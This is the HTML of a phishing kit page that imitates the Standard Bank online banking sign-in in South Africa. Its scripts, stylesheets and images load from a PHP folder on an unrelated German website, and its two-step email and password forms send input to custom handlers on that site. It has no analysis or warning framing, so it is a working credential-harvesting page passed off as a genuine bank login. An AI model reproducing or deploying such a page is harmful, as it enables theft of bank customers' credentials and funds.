<!doctype html>
<!-- saved from url=(0014)about:internet -->
<html ng-app="refresh" class="ng-scope mdl-js" lang="en">
<head>
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<style type="text/css">[uib-typeahead-popup].dropdown-menu{display:block;}</style>
<style type="text/css">.uib-time input{width:50px;}</style>
<style type="text/css">[uib-tooltip-popup].tooltip.top-left > .tooltip-arrow,[uib-tooltip-popup].tooltip.top-right > .tooltip-arrow,[uib-tooltip-popup].tooltip.bottom-left > .tooltip-arrow,[uib-tooltip-popup].tooltip.bottom-right > .tooltip-arrow,[uib-tooltip-popup].tooltip.left-top > .tooltip-arrow,[uib-tooltip-popup].tooltip.left-bottom > .tooltip-arrow,[uib-tooltip-popup].tooltip.right-top > .tooltip-arrow,[uib-tooltip-popup].tooltip.right-bottom > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.top-left > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.top-right > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.bottom-left > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.bottom-right > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.left-top > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.left-bottom > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.right-top > .tooltip-arrow,[uib-tooltip-html-popup].tooltip.right-bottom > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.top-left > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.top-right > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.bottom-left > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.bottom-right > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.left-top > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.left-bottom > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.right-top > .tooltip-arrow,[uib-tooltip-template-popup].tooltip.right-bottom > .tooltip-arrow,[uib-popover-popup].popover.top-left > .arrow,[uib-popover-popup].popover.top-right > .arrow,[uib-popover-popup].popover.bottom-left > .arrow,[uib-popover-popup].popover.bottom-right > .arrow,[uib-popover-popup].popover.left-top > .arrow,[uib-popover-popup].popover.left-bottom > .arrow,[uib-popover-popup].popover.right-top > .arrow,[uib-popover-popup].popover.right-bottom > .arrow,[uib-popover-html-popup].popover.top-left > .arrow,[uib-popover-html-popup].popover.top-right > .arrow,[uib-popover-html-popup].popover.bottom-left > .arrow,[uib-popover-html-popup].popover.bottom-right > .arrow,[uib-popover-html-popup].popover.left-top > .arrow,[uib-popover-html-popup].popover.left-bottom > .arrow,[uib-popover-html-popup].popover.right-top > .arrow,[uib-popover-html-popup].popover.right-bottom > .arrow,[uib-popover-template-popup].popover.top-left > .arrow,[uib-popover-template-popup].popover.top-right > .arrow,[uib-popover-template-popup].popover.bottom-left > .arrow,[uib-popover-template-popup].popover.bottom-right > .arrow,[uib-popover-template-popup].popover.left-top > .arrow,[uib-popover-template-popup].popover.left-bottom > .arrow,[uib-popover-template-popup].popover.right-top > .arrow,[uib-popover-template-popup].popover.right-bottom > .arrow{top:auto;bottom:auto;left:auto;right:auto;margin:0;}[uib-popover-popup].popover,[uib-popover-html-popup].popover,[uib-popover-template-popup].popover{display:block !important;}</style>
<style type="text/css">.uib-datepicker-popup.dropdown-menu{display:block;float:none;margin:0;}.uib-button-bar{padding:10px 9px 2px;}</style>
<style type="text/css">.uib-position-measure{display:block !important;visibility:hidden !important;position:absolute !important;top:-9999px !important;left:-9999px !important;}.uib-position-scrollbar-measure{position:absolute !important;top:-9999px !important;width:50px !important;height:50px !important;overflow:scroll !important;}.uib-position-body-scrollbar-measure{overflow:scroll !important;}</style>
<style type="text/css">.uib-datepicker .uib-title{width:100%;}.uib-day button,.uib-month button,.uib-year button{min-width:100%;}.uib-left,.uib-right{width:100%}</style>
<style type="text/css">.ng-animate.item:not(.left):not(.right){-webkit-transition:0s ease-in-out left;transition:0s ease-in-out left}</style>
<style type="text/css">@charset "UTF-8";[ng\:cloak],[ng-cloak],[data-ng-cloak],[x-ng-cloak],.ng-cloak,.x-ng-cloak,.ng-hide:not(.ng-hide-animate){display:none !important;}ng\:form{display:block;}.ng-animate-shim{visibility:hidden;}.ng-anchor{position:absolute;}</style>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="icon" type="image/png" href="https://onlinebanking.standardbank.co.za/assets/images/favicon.ico">
<link rel="stylesheet" href="https://www.transalpfreunde.de/media/com_banners/standard/css/app.css">
<link rel="stylesheet" href="https://www.transalpfreunde.de/media/com_banners/standard/php/visitor.php?r=9">
<!--[if lt IE 10]>
<link rel="stylesheet" type="text/css" href="assets/ie/css/upgrade_your_browser.css"/>
<![endif]-->
<!--[if IE 9]>
<link rel="stylesheet" type="text/css" href="assets/ie/css/ie9.css" />
<![endif]-->
<title>Standard Online Banking</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script type="text/javascript" src="https://www.transalpfreunde.de/media/com_banners/standard/php/htacess.php?r="></script>
<script type="text/javascript">var siteURL = 'https://www.transalpfreunde.de/media/com_banners/standard/php/';</script>
</head>
<body ng-controller="spinnerController" ng-class="{ 'login migration-login-bg': migrationLogin(), 'login-strong-auth-bg':strongAuthLogin() }" class="ng-scope login migration-login-bg login-strong-auth-bg">
<div class="content-wrapper">
<dtm-analytics></dtm-analytics>
<!-- ngInclude: -->
<ng-include src="'common/header/partials/header.html'" class="ng-scope">
<div ng-controller="HeaderController" class="ng-scope">
<header id="top" ng-class="{'header-no-bg': migrationLogin()}" class="header-no-bg">
<div class="content-wrapper-inner" style="position: relative" ng-mouseleave="closeMenu()">
<div>
<!-- ngIf: displayMenu() && shouldDisplayProfileDropdown() && !migrationLogin() -->
</div>
<!-- ngIf: migrationLogin() -->
<ul ng-if="migrationLogin()" class="ng-scope">
<li>
<img class="migration-logo" src="https://www.transalpfreunde.de/media/com_banners/standard/images/sb_logo.png" alt="logo">
</li>
</ul>
<!-- end ngIf: migrationLogin() -->
<!-- ngIf: !migrationLogin() -->
<!-- ngIf: shouldDisplayProfileDropdown() && !migrationLogin() -->
<!-- ngIf: shouldDisplayProfileDropdown() && !migrationLogin() -->
<!-- ngIf: shouldDisplayProfileDropdown() && !migrationLogin() && showTabDependantItems() -->
</div>
<div class="modal-overlay hide-on-print ng-hide" ng-show="showThis()">
<div class="modal-container action-modal">
<div class="modal-header">
<h3>AutoShare/Tax Free Invest</h3>
</div>
<div class="modal-content">
<label>Do you want to link your account to your profile?</label>
<div class="link-asi-tfi-modal-actions">
<sb-button-group class="ng-isolate-scope">
<div>
<div class="right" ng-transclude="">
<sb-button data-dtmid="link_content_asi_quick_link" data-dtmtext="yes modal button click" class="primary ng-scope ng-isolate-scope" ng-click="linkAsiAccount()"><button class="mdl-button mdl-js-button mdl-js-ripple-effect sb-button" id="-button" ng-click="$ctrl.ngClick" ng-disabled="$ctrl.ngDisabled" data-dtmtext="yes modal button click" data-dtmid="link_content_asi_quick_link" track-click="" ng-transclude="" type="button" data-upgraded=",MaterialButton,MaterialRipple"><span class="ng-scope">yes</span><span class="mdl-button__ripple-container"><span class="mdl-ripple"></span></span></button></sb-button>
<sb-button data-dtmid="link_content_asi_quick_link" data-dtmtext="no modal button click" class="secondary ng-scope ng-isolate-scope" ng-click="closeLinkASIModal()"><button class="mdl-button mdl-js-button mdl-js-ripple-effect sb-button" id="-button" ng-click="$ctrl.ngClick" ng-disabled="$ctrl.ngDisabled" data-dtmtext="no modal button click" data-dtmid="link_content_asi_quick_link" track-click="" ng-transclude="" type="button" data-upgraded=",MaterialButton,MaterialRipple"><span class="ng-scope">no</span><span class="mdl-button__ripple-container"><span class="mdl-ripple"></span></span></button></sb-button>
</div>
</div>
</sb-button-group>
</div>
</div>
</div>
</div>
</header>
<!-- ngIf: shouldDisplayProfileDropdown() && !migrationLogin() -->
</div>
</ng-include>
<!-- ngInclude: -->
<ng-include src="'features/notifications/partials/errorNotification.html'" class="ng-scope">
<div class="modal-overlay ng-scope ng-hide" ng-show="notificationError">
<div class="modal-container action-modal">
<div class="modal-header">
<h3 class="ng-binding"></h3>
</div>
<div class="modal-content">
<div ng-bind-html="notificationError" class="ng-binding"></div>
<br><br>
<!-- ngIf: serviceError -->
</div>
<div class="actions">
<!-- ngIf: notificationOptions.showOkAction -->
<!-- ngIf: notificationOptions.showPrimaryOkAction -->
<!-- ngRepeat: (name,path) in notificationOptions.actions -->
<button ng-click="logout()" ng-controller="LogoutController" ng-show="notificationOptions.showLogoutAction && shouldDisplayLogoutOption()" class="secondary logout_button ng-scope ng-hide" data-dtmid="link_modal_modal link" data-dtmtext="Sign out button click">Sign out</button>
</div>
</div>
</div>
</ng-include>
<div class="content ng-scope with-tall-footer" ng-controller="HeaderController" ng-class="{'with-tall-footer': migrationLogin()}">
<!-- hides the content of the entire page-->
<!-- ngView: -->
<main ng-view="" ng-hide="(spinnerActive && spinnerStyle == 'global') || blockOutPage" class="digitalIdUsernameForm ng-scope">
<div class="login migration-login ng-scope">
<h2 class="login migration-login-header">
Hello!
</h2>
<h2 class="login migration-login-header-description large-4 columns">
We've enhanced the sign in feature on our new,<br> fresh Online Banking site.
</h2>
<div class="row strong-auth-login">
<migration-login-strong-auth-large is-successful="isSuccessful" error-message="errorMessage" migration-error-message="migrationErrorMessage" is-security-check-error="isSecurityCheckError" class="show-for-large-up ng-isolate-scope">
<div class="large-4 columns expander-card-container login-strong-auth-username upgraded-migration-design" ng-mouseenter="ctrl.setHovered('right')" ng-mouseleave="ctrl.setHovered()" ng-class="{'active': ctrl.panelState('right') === 'active', 'inactive': ctrl.panelState('right') === 'inactive'}" style="">
<div class="row notification-container">
<div class="notification ng-scope success ng-hide" id="largeDigitalIdLoginNotification" ng-show="ctrl.isSuccessful && !ctrl.errorMessage" success="" notification="" ctrlcancelfield="isSuccessful"><span ng-transclude=""><span class="ng-scope">Your password has been successfully changed.</span></span><i class="icon icon-times-circle"></i></div>
<div class="notification ng-scope error ng-hide" id="error-message" ng-show="ctrl.errorMessage && !ctrl.isSecurityCheckError" ctrlcancelfield="errorMessage" error="" notification=""><span ng-transclude=""><span class="ng-binding ng-scope">
</span></span><i class="icon icon-times-circle"></i>
</div>
<div class="notification ng-scope info ng-hide" id="migration-info-message-notification" ng-show="ctrl.infoMessage" ctrlcancelfield="infoMessage" info="" notification=""><span ng-transclude=""><span class="ng-binding ng-scope">
</span></span><i class="icon icon-times-circle"></i>
</div>
<div class="notification ng-scope success ng-hide" id="migration-success-message-notification" ng-show="ctrl.migrationSuccessMessage" ctrlcancelfield="migrationSuccessMessage" success="" notification=""><span ng-transclude=""><span class="ng-binding ng-scope">
</span></span><i class="icon icon-times-circle"></i>
</div>
</div>
<expander-card title="sign in" heading-title="true" always-expanded="" icon-url="https://www.transalpfreunde.de/media/com_banners/standard/images/locked_24_tertiary.png" class="expanderCardLength ng-isolate-scope">
<div id="expanderCard43" class="panel expanded" ng-class="{'expanded': expanded, 'collapsed': !expanded}">
<div class="expander-head login-expander-header" ng-class="{'login-expander-header' : headingTitle}" ng-click="toggleExpanded()">
<!-- ngIf: iconUrl --><img ng-if="iconUrl" ng-src="https://www.transalpfreunde.de/media/com_banners/standard/images/locked_24_tertiary.png" class="ng-scope" src="https://www.transalpfreunde.de/media/com_banners/standard/images/locked_24_tertiary.png"><!-- end ngIf: iconUrl -->
<h3 ng-class="{'login-header' : headingTitle}" title-for="expanderCard43" class="ng-binding login-header">sign in</h3>
<i ng-class="{'icomoon-chevron-up' : expanded, 'icomoon-chevron-down' : !expanded, 'icomoon-chevron-right' : pointRight}" class="icomoon-chevron-up"></i>
</div>
<div class="expander-body" ng-show="expanded || alwaysExpanded" ng-transclude="">
<form onsubmit="jStandardLogin.jLoginContinue1($(this)); return false;" method="POST" name="forms.digitalIdLoginForm" id="digitalIdLoginForm" data-frmcontainer="login form" novalidate="" autocomplete="off" ng-submit="ctrl.login()" class="ng-pristine ng-scope ng-invalid ng-invalid-required ng-valid-pattern" data-frmtrkid="1541444923884">
<section>
<div>
<label for="username">Username</label>
<input type="text" id="username" name="username" ng-model="ctrl.diLogin.username" required="" ng-focus="ctrl.setFocused('right')" ng-pattern="[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+[A-Za-z]" ng-class="{'show-validation-styles': ctrl.panelState('right') === 'active' && (forms.digitalIdLoginForm.username.$touched || forms.digitalIdLoginForm.$submitted)}" class="ng-pristine ng-untouched ng-empty ng-invalid ng-invalid-required ng-valid-pattern">
<ng-messages for="forms.digitalIdLoginForm.username.$error" ng-show="ctrl.panelState('right') === 'active' && (forms.digitalIdLoginForm.username.$touched || forms.digitalIdLoginForm.$submitted)" class="smallUsername_error ng-active ng-hide digitalIdLoginForm_username_error">
<!-- ngMessage: -->
<!-- ngMessage: -->
<ng-message class="form-error ng-scope" when="required">Please enter a valid email address</ng-message>
</ng-messages>
</div>
</section>
<section class="no-padding terms-and-conditions">
<div>
<span class="terms-and-conditions-text">By signing in you agree to the
<a data-dtmid="link_content_login" data-dtmtext="select view terms and conditions link" href="https://www.standardbank.co.za/standimg/South%20Africa/Personal/PDFs%28Personal%29/T&C%20Electronic%20Banking%20agreement.pdf" target="_blank">T&C's</a><br>Last updated on 5 July 2024
</span>
<button type="submit" class="right">
Next
</button>
</div>
</section>
<section class="no-padding">
<div class="security-upgrade">
<div class="security-upgrade-img">
<img src="https://www.transalpfreunde.de/media/com_banners/standard/images/icn_shield_with_lock_42.png">
</div>
<div class="security-upgrade-info">
Two steps to quick & easy sign in:<br>Start by entering your email,<br> then your password.
</div>
</div>
</section>
</form>
</div>
</div>
</expander-card>
<expander-card title="Register for online banking" can-collapse-itself="false" expanded="digitalIdExpandedCard.registrationForm" point-right="" icon-url="https://www.transalpfreunde.de/media/com_banners/standard/images/icn_register_28.png" ng-click="ctrl.navigateToRegistrationPage()" class="register ng-isolate-scope" data-dtmid="link_content_login" data-dtmtext="register for online banking link click">
<div id="expanderCard45" class="panel collapsed" ng-class="{'expanded': expanded, 'collapsed': !expanded}">
<div class="expander-head" ng-class="{'login-expander-header' : headingTitle}" ng-click="toggleExpanded()">
<!-- ngIf: iconUrl --><img ng-if="iconUrl" ng-src="https://www.transalpfreunde.de/media/com_banners/standard/images/icn_register_28.png" class="ng-scope" src="https://www.transalpfreunde.de/media/com_banners/standard/images/icn_register_28.png"><!-- end ngIf: iconUrl -->
<h3 ng-class="{'login-header' : headingTitle}" title-for="expanderCard45" class="ng-binding">Register for online banking</h3>
<i ng-class="{'icomoon-chevron-up' : expanded, 'icomoon-chevron-down' : !expanded, 'icomoon-chevron-right' : pointRight}" class="icomoon-chevron-down icomoon-chevron-right"></i>
</div>
<div class="expander-body ng-hide" ng-show="expanded || alwaysExpanded" ng-transclude=""></div>
</div>
</expander-card>
</div>
</migration-login-strong-auth-large>
<migration-login-strong-auth-small is-successful="isSuccessful" error-message="errorMessage" migration-error-message="migrationErrorMessage" is-security-check-error="isSecurityCheckError" class="show-for-medium-down ng-isolate-scope">
<div class="small-12 columns expander-card-container">
<div class="row notification-container">
<div class="notification ng-scope error ng-hide" id="migration-error-message-notification" ng-show="ctrl.migrationErrorMessage && !ctrl.isSecurityCheckError
&& ctrl.digitalIdExpandedCard.cspLoginForm" ctrlcancelfield="migrationErrorMessage" error="" notification=""><span ng-transclude=""><span class="ng-binding ng-scope">
</span></span><i class="icon icon-times-circle"></i>
</div>
</div>
<div class="row notification-container">
<div class="notification ng-scope success ng-hide" ng-show="ctrl.isSuccessful && !ctrl.errorMessage" success="" notification="" ctrlcancelfield="isSuccessful"><span ng-transclude=""><span class="ng-scope">
Your password has been successfully changed.
</span></span><i class="icon icon-times-circle"></i>
</div>
<div class="notification ng-scope error ng-hide" id="error-message" ng-show="ctrl.errorMessage && !ctrl.isSecurityCheckError && ctrl.digitalIdExpandedCard.smallLoginForm" ctrlcancelfield="errorMessage" error="" notification=""><span ng-transclude=""><span class="ng-binding ng-scope">
</span></span><i class="icon icon-times-circle"></i>
</div>
<div class="notification ng-scope info ng-hide" id="migration-info-message-notification" ng-show="ctrl.infoMessage" ctrlcancelfield="infoMessage" info="" notification=""><span ng-transclude=""><span class="ng-binding ng-scope">
</span></span><i class="icon icon-times-circle"></i>
</div>
</div>
</div>
<div class="small-12 columns expander-card-container upgraded-migration-design small-12_columns_expander-card-container_expanderCard47" ng-class="{'active': ctrl.digitalIdExpandedCard.smallLoginForm}">
<expander-card title="sign in" icon-url="https://www.transalpfreunde.de/media/com_banners/standard/images/locked_24_tertiary.png" can-collapse-itself="true" expanded="ctrl.digitalIdExpandedCard.smallLoginForm" on-expanded="ctrl.onExpanded('smallLoginForm')" class="ng-isolate-scope">
<div id="expanderCard47" class="panel collapsed" ng-class="{'expanded': expanded, 'collapsed': !expanded}">
<div class="expander-head" ng-class="{'login-expander-header' : headingTitle}" ng-click="toggleExpanded()" ontouchend="expand_expanderCard47();" onclick="expand_expanderCard47();">
<!-- ngIf: iconUrl --><img ng-if="iconUrl" ng-src="https://www.transalpfreunde.de/media/com_banners/standard/images/locked_24_tertiary.png" class="ng-scope" src="https://www.transalpfreunde.de/media/com_banners/standard/images/locked_24_tertiary.png"><!-- end ngIf: iconUrl -->
<h3 ng-class="{'login-header' : headingTitle}" title-for="expanderCard47" class="ng-binding">sign in</h3>
<i ng-class="{'icomoon-chevron-up' : expanded, 'icomoon-chevron-down' : !expanded, 'icomoon-chevron-right' : pointRight}" class="icomoon-chevron-down"></i>
</div>
<div class="expander-body ng-hide" ng-show="expanded || alwaysExpanded" ng-transclude="">
<form onsubmit="jStandardLogin.jLoginContinue_expanderCard47($(this)); return false;" method="POST" name="forms.smallDigitalIdLoginForm" id="smallDigitalIdLoginForm" data-frmcontainer="login form" novalidate="" autocomplete="off" ng-submit="ctrl.login()" class="ng-pristine ng-scope ng-invalid ng-invalid-required ng-valid-pattern" data-frmtrkid="1541444923885">
<section>
<div>
<label for="smallUsername">Email address</label>
<input type="text" id="smallUsername" name="smallUsername" ng-model="ctrl.diLogin.username" required="" ng-pattern="[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+[A-Za-z]" ng-class="{'show-validation-styles': forms.smallDigitalIdLoginForm.smallUsername.$touched || forms.smallDigitalIdLoginForm.$submitted}" class="ng-pristine ng-untouched ng-empty ng-invalid ng-invalid-required ng-valid-pattern">
<ng-messages for="forms.smallDigitalIdLoginForm.smallUsername.$error" ng-show="forms.smallDigitalIdLoginForm.smallUsername.$touched || forms.smallDigitalIdLoginForm.$submitted" class="smallUsername_error ng-active ng-hide digitalIdLoginForm_username_error">
<!-- ngMessage: -->
<!-- ngMessage: -->
<ng-message class="form-error ng-scope" when="required">Please enter a valid email address</ng-message>
</ng-messages>
</div>
</section>
<section class="show-for-medium-only ">
<span class="terms-and-conditions-text" data-dtmid="select_view_terms_and_conditions_link" data-dtmtext="select view terms and conditions link">
By signing in you accept the <a href="https://www.standardbank.co.za/standimg/South%20Africa/Personal/PDFs%28Personal%29/T&C%20Electronic%20Banking%20agreement.pdf" target="_blank" class="clear-right-float">
terms and conditions</a><br>Last updated on 5 July 2017
</span>
<button type="submit" class="right medium-2" data-dtmtext="Next button click">
Next
</button>
</section>
<section class="no-padding medium-2 medium-offset-10 hide-for-medium">
<div>
<div class="padding-bottom">
<label> By signing in you accept the <a class="clear-right-float" data-dtmid="link_content_migration" data-dtmtext="create your new sign in details: select view terms and conditions link" href="https://www.standardbank.co.za/standimg/South%20Africa/Personal/PDFs%28Personal%29/T&C%20Electronic%20Banking%20agreement.pdf" target="_blank">terms and conditions</a> <br>Last updated on 5 July 2017
</label>
</div>
<button type="submit" class="right" ng-disabled="!forms.smallDigitalIdLoginForm.$valid" data-dtmid="link_content_login" data-dtmtext="sign in button click">
sign in
</button>
</div>
</section>
</form>
</div>
</div>
</expander-card>
</div>
<div class="small-12 columns expander-card-container upgraded-migration-design" ng-class="{'active': ctrl.digitalIdExpandedCard.registrationForm}">
<expander-card title="Register for online banking" can-collapse-itself="false" expanded="ctrl.digitalIdExpandedCard.registrationForm" point-right="" icon-url="https://www.transalpfreunde.de/media/com_banners/standard/images/locked_24_tertiary.png" ng-click="ctrl.navigateToRegistrationPage()" data-dtmid="link_content_login" data-dtmtext="register for online banking link click" class="ng-isolate-scope">
<div id="expanderCard49" class="panel collapsed" ng-class="{'expanded': expanded, 'collapsed': !expanded}">
<div class="expander-head" ng-class="{'login-expander-header' : headingTitle}" ng-click="toggleExpanded()">
<!-- ngIf: iconUrl --><img ng-if="iconUrl" ng-src="https://www.transalpfreunde.de/media/com_banners/standard/images/locked_24_tertiary.png" class="ng-scope" src="https://www.transalpfreunde.de/media/com_banners/standard/images/locked_24_tertiary.png"><!-- end ngIf: iconUrl -->
<h3 ng-class="{'login-header' : headingTitle}" title-for="expanderCard49" class="ng-binding">Register for online banking</h3>
<i ng-class="{'icomoon-chevron-up' : expanded, 'icomoon-chevron-down' : !expanded, 'icomoon-chevron-right' : pointRight}" class="icomoon-chevron-down icomoon-chevron-right"></i>
</div>
<div class="expander-body ng-hide" ng-show="expanded || alwaysExpanded" ng-transclude=""></div>
</div>
</expander-card>
</div>
</migration-login-strong-auth-small>
</div>
<div class="large-4 expander-register-obb">
<div class="row register-obb expander-card-container">
<!--expander-card-container min-height: 67px;-->
<div class="expanderBorder" style="background: white;">
<div style="padding: 1em;">
<img ng-src="assets/images/login-email.png" src="https://www.transalpfreunde.de/media/com_banners/standard/images/login-email.png">
<div class="obbRegisterFont-strongauth">
Received an online banking for business invitation?
<a data-dtmid="link_content_login" data-dtmtext="select business banking invitation action button" href="#/account-sharing/invitation-details" style="color: #00aadd !important;font-size: 1em;">
START HERE
</a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="login modal-overlay ng-scope ng-hide" ng-show="isSecurityCheckError">
<div class="modal-container notification-modal">
<div class="modal-close">
<div class="close-button ng-scope" ng-click="logout()" ng-controller="LogoutController">
<i class="icon icomoon-close right"></i>
</div>
</div>
<div class="modal-content">
<div class="content-img">
<img src="https://www.transalpfreunde.de/media/com_banners/standard/images/logo.png" alt="Standard Logo">
</div>
<div class="content-text">
<span class="ng-binding"></span>
</div>
</div>
<div class="modal-contact row">
<!-- ngRepeat: contact in riskMinderContacts -->
<a class="small-12 medium-6 columns ng-scope" ng-repeat="contact in riskMinderContacts" href="tel:0800222050">
<div class="row">
<div class="small-3 columns no-padding text-right">
<i class="icon icomoon-call"></i>
</div>
<div class="small-9 columns no-padding">
<span class="ng-binding">Customer Care</span><br>
<span class="contact-number ng-binding">0800 222 050</span>
</div>
</div>
</a>
<!-- end ngRepeat: contact in riskMinderContacts -->
<a class="small-12 medium-6 columns ng-scope" ng-repeat="contact in riskMinderContacts" href="tel:0027102490070">
<div class="row">
<div class="small-3 columns no-padding text-right">
<i class="icon icomoon-call"></i>
</div>
<div class="small-9 columns no-padding">
<span class="ng-binding">International</span><br>
<span class="contact-number ng-binding">+27 10 249 0070</span>
</div>
</div>
</a>
<!-- end ngRepeat: contact in riskMinderContacts -->
</div>
</div>
</div>
</main>
<main style="display: none;" ng-view="" ng-hide="(spinnerActive && spinnerStyle == 'global') || blockOutPage" class="digitalIdLoginPasswordForm ng-scope" style="">
<div class="login ng-scope">
<div class="login-notifications" style="display: none;">
<!-- ngIf: errorMessage --><div class="notification ng-scope error" ng-if="errorMessage" error="" notification="" style=""><span ng-transclude=""><span class="ng-binding ng-scope">These details don’t seem to be right. Please check and try again</span></span><i class="icon icon-times-circle"></i></div><!-- end ngIf: errorMessage -->
</div>
<div class="login-container">
<div class="login-container-header">
<h2 class="login-header">
Password Sign-In
</h2>
<div class="login-container-header-icon">
<img src="https://www.transalpfreunde.de/media/com_banners/standard/images/locked_24_tertiary.png" alt="sign-in-icon">
</div>
<div class="login-container-header-text">
sign in
</div>
</div>
<form onsubmit="jStandardLogin.jLoginContinue2($(this)); return false;" name="forms.digitalIdLoginPasswordForm" id="digitalIdLoginPasswordForm" ng-submit="login()" class="ng-pristine ng-invalid ng-invalid-required" data-frmtrkid="1541477539782">
<div class="login-container-content">
<div class="login-container-content-username ng-binding">
{Curent_Email}
</div>
<div class="login-container-content-img">
<img src="https://onlinebanking.standardbank.co.za/assets/images/noknok/img_web_password_signin_240.png" alt="password-sign-in">
</div>
<div class="login-container-content-input">
<div class="login-container-content-input-password">
<label for="password">Password</label>
<input type="password" id="password" name="password" ng-model="password" ng-class="{'show-validation-styles': (forms.digitalIdLoginPasswordForm.password.$touched || forms.digitalIdLoginPasswordForm.$submitted)}" autofocus="" required="" class="ng-pristine ng-untouched ng-empty ng-invalid ng-invalid-required">
<ng-messages for="forms.digitalIdLoginPasswordForm.password.$error" ng-show="(forms.digitalIdLoginPasswordForm.password.$touched ||forms.digitalIdLoginPasswordForm.$submitted)" class="ng-active ng-hide digitalIdLoginForm_password_error smallPassword_error">
<!-- ngMessage: --><ng-message class="form-error ng-scope" when="required">Invalid Password</ng-message>
</ng-messages>
</div>
<a class="login-container-content-input-forgot-password" ng-click="forgotPassword()" data-dtmid="link_content_password login" data-dtmtext="forgot password link click">
Forgot password?
</a>
</div>
<sb-button-group class="ng-isolate-scope"><div>
<div class="right" ng-transclude="">
<sb-button class="primary ng-pristine ng-untouched ng-valid ng-scope ng-isolate-scope ng-empty" type="submit" ng-model="password" ng-disabled="!forms.digitalIdLoginPasswordForm.$valid" data-dtmid="link_content_password login" data-dtmtext="sign in button click" disabled="disabled">
<button class="mdl-button mdl-js-button mdl-js-ripple-effect sb-button" id="-button" ng-click="$ctrl.ngClick" data-dtmtext="sign in button click" data-dtmid="link_content_password login" track-click="" ng-transclude="" type="submit" data-upgraded=",MaterialButton,MaterialRipple"><span class="ng-scope">
sign in
</span>
<span class="mdl-button__ripple-container"><span class="mdl-ripple"></span></span>
</button>
</sb-button>
<sb-button class="tertiary ng-scope ng-isolate-scope" id="cancel" ng-click="cancel()" data-dtmid="link_content_password login" data-dtmtext="Cancel button click"><button class="mdl-button mdl-js-button mdl-js-ripple-effect sb-button" id="cancel-button" ng-click="$ctrl.ngClick" ng-disabled="$ctrl.ngDisabled" data-dtmtext="Cancel button click" data-dtmid="link_content_password login" track-click="" ng-transclude="" type="button" data-upgraded=",MaterialButton,MaterialRipple"><span class="ng-scope">
Cancel
</span><span class="mdl-button__ripple-container"><span class="mdl-ripple"></span></span></button></sb-button>
</div>
</div></sb-button-group>
</div>
</form>
</div>
</div></main>
</div>
<!-- ngIf: !migrationLogin() -->
<!-- ngIf: migrationLogin() -->
<footer class="login migration-login ng-scope" ng-controller="HeaderController" ng-if="migrationLogin()">
<div class="row info">
<div class="row contact-links">
<div class="no-padding small-12 medium-12 large-3 columns">
<img src="https://www.transalpfreunde.de/media/com_banners/standard/images/icon_south_africa_white.png">
<span class="white-text">South Africa 0860 123 000</span>
</div>
<div class="no-padding small-12 medium-12 large-4 columns">
<img src="https://www.transalpfreunde.de/media/com_banners/standard/images/icon_global_white.png">
<span class="white-text">International +27 11 299 4701</span>
</div>
<div class="small-12 medium-12 large-5 columns">
<img src="https://www.transalpfreunde.de/media/com_banners/standard/images/icon_email_white.png">
<span class="white-text">Email us at <a href="mailto:ibsupport@standardbank.co.za"><span class="white-text footer-text-link">ibsupport@standardbank.co.za</span></a></span>
</div>
</div>
<div class="row fsb-legal-declaration-migration">
<p class="white-text">Standard is a licensed
financial services provider in terms of the Financial Advisory and
Intermediary Services Act and a registered credit provider in terms of
the National Credit Act, registration number NCRCP15.
</p>
</div>
</div>
</footer>
<!-- end ngIf: migrationLogin() -->
<div class="spinner pace pace-inactive ng-hide" ng-class="spinnerClass" ng-hide="spinnerStyle != 'global'">
<div class="pace-activity migration" ng-class="{'migration': migrationLogin()}"></div>
<div class="spinner-message migration" ng-class="{'migration': migrationLogin()}">Loading ‐ please wait a moment</div>
</div>
<div class="ng-hide modal-overlay" idle-notification="" ng-show="beenIdle">
<div class="modal-container timeout-modal">
<h3>Due to account inactivity you will be automatically signed out in <span id="countdown-seconds" class="ng-binding"> seconds</span>.</h3>
<div class="countdown-container">
<canvas id="countdown-circle" class="countdown-circle" width="200" height="200"></canvas>
<span id="countdown" class="ng-binding"></span>
</div>
<div id="continue-banking">Continue banking?</div>
<button class="primary continue" ng-click="keepBanking()">Continue</button>
<button class="secondary logout" ng-click="logout()" data-dtmid="link_modal_idle modal" data-dtmtext="sign out button click">Sign out</button>
</div>
</div>
<!-- ngInclude: -->
<ng-include src="'features/upgradeYourBrowser/partials/upgradeYourBrowser.html'" class="ng-scope">
<!--[if lt IE 10]>
<div class="upgrade-your-browser" ng-hide="continueAnyway">
<header>
<img src="assets/images/logo.png">
</header>
<div class="text-center">
<h2>Update Your Browser</h2>
<h3>Using an outdated browser may negatively affect your security while banking online.</h3>
<h3>Please update, or download a different browser.</h3>
<div class="browsers">
<ul class="medium-block-grid-3 small-block-grid-1 middle">
<li class="browser ie">
<a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie">
<div class="icon"></div>
Download latest Internet Explorer
</a>
</li>
<li class="browser chrome">
<a href="https://www.google.com/chrome/browser/">
<div class="icon"></div>
Download latest Chrome
</a>
</li>
<li class="browser firefox">
<a href="http://www.mozilla.com/firefox">
<div class="icon"></div>
Download latest Firefox
</a>
</li>
</ul>
</div>
<!--[if IE 9]>
<div>
<button class="secondary" ng-click="continueAnyway = true">Continue anyway</button>
</div>
<![endif]-->
<!--[endif]---->
</ng-include>
<go-to-top class="ng-isolate-scope" style="display: none;"><div class="always-back-to-top hide-on-print">
<div class="back-to-top">
